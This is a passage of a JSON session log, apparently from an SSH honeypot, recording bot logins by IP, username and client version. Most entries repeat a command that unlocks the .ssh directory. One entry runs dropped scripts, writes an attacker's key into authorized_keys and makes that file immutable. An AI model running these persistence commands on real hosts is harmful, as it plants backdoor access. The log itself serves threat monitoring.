  "channel_kind": "exec",
  "src_ip": "45.194.3.128",
  "src_port": 46786,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 696,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T00:21:03.057453+00:00",
  "ended_at": "2026-08-21T00:21:03.277755+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3479
 },
 {
  "id": "dd3dc568-17c5-4e13-afe3-5fce7789988b",
  "name": "weathered-shifting-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "183.91.186.36",
  "src_port": 45114,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 901,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T20:24:34.329664+00:00",
  "ended_at": "2026-08-20T20:24:34.630091+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3988
 },
 {
  "id": "edca2fad-c59c-4e9a-a8fd-fe79fe36bd95",
  "name": "grassy-peaty-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "181.129.41.162",
  "src_port": 40408,
  "username": "parth",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T19:52:38.357374+00:00",
  "ended_at": "2026-08-20T19:52:38.429877+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3459
 },
 {
  "id": "693e4c0b-9628-4110-af98-de6e70250ebd",
  "name": "lawful-forlorn-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "69.6.223.142",
  "src_port": 49164,
  "username": "leandro",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 375,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T16:54:18.686099+00:00",
  "ended_at": "2026-08-20T16:54:18.795409+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3916
 },
 {
  "id": "a09265ce-7df6-487c-b00d-1f24a248165f",
  "name": "canny-restless-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "186.248.197.77",
  "src_port": 45656,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 412,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:59:14.353436+00:00",
  "ended_at": "2026-08-20T12:59:14.478176+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3733
 },
 {
  "id": "9d97c634-71cf-4395-9707-f7b02c0c87c2",
  "name": "deft-frank-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "139.59.28.125",
  "src_port": 34268,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 678,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:57:42.460636+00:00",
  "ended_at": "2026-08-20T12:57:42.669225+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3631
 },
 {
  "id": "46fb043f-7cad-43ac-afbe-b504a2611f5e",
  "name": "frosty-barren-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.47.46.174",
  "src_port": 59806,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 687,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:49:42.507032+00:00",
  "ended_at": "2026-08-20T12:49:42.722243+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3732
 },
 {
  "id": "16ce8ab6-9ac3-48a6-8acf-2f1f38563712",
  "name": "meadow-northern-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "81.193.216.17",
  "src_port": 56682,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 408,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:49:19.537181+00:00",
  "ended_at": "2026-08-20T12:49:19.664175+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3907
 },
 {
  "id": "d8b8ffbe-8acf-4f65-911c-25a77eb5612f",
  "name": "ashen-cunning-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "194.156.249.154",
  "src_port": 57262,
  "username": "socks",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 385,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:37:01.791163+00:00",
  "ended_at": "2026-08-20T12:37:01.903396+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3649
 },
 {
  "id": "480ec80d-66e2-4856-97dd-06174b2da80f",
  "name": "leafy-freckled-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.12.221.15",
  "src_port": 34716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:08:41.365257+00:00",
  "ended_at": "2026-08-20T12:08:41.455427+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3731
 },
 {
  "id": "22acd34e-8908-48df-b288-564e100821a1",
  "name": "whispering-gilded-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "52.176.211.73",
  "src_port": 35132,
  "username": "anupam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 135,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:07:15.709568+00:00",
  "ended_at": "2026-08-20T12:07:15.735619+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3632
 },
 {
  "id": "aaa2b28a-6666-4cf6-ad14-ca446e83aab5",
  "name": "northern-bold-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "78.109.200.147",
  "src_port": 51814,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 500,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T09:24:27.111292+00:00",
  "ended_at": "2026-08-20T09:24:27.263126+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3785
 },
 {
  "id": "a9fe09c8-f362-4730-9890-658fe77be56d",
  "name": "tidal-indigo-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.161.113.136",
  "src_port": 53790,
  "username": "ftpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 849,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T09:22:05.365710+00:00",
  "ended_at": "2026-08-20T09:22:05.631619+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3812
 },
 {
  "id": "87c2eb28-34f2-44c9-9d94-210ae924165b",
  "name": "crimson-nimble-meerkat",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "77.90.185.20",
  "src_port": 57926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-20T07:29:14.913545+00:00",
  "ended_at": "2026-08-20T07:29:15.120608+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 994
 },
 {
  "id": "88e56eb6-fb2b-44ac-a292-58c2bea17bdc",
  "name": "glassy-clever-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.75.247.232",
  "src_port": 38394,
  "username": "fts",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T06:09:48.871254+00:00",
  "ended_at": "2026-08-20T06:09:48.945271+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3545
 }
]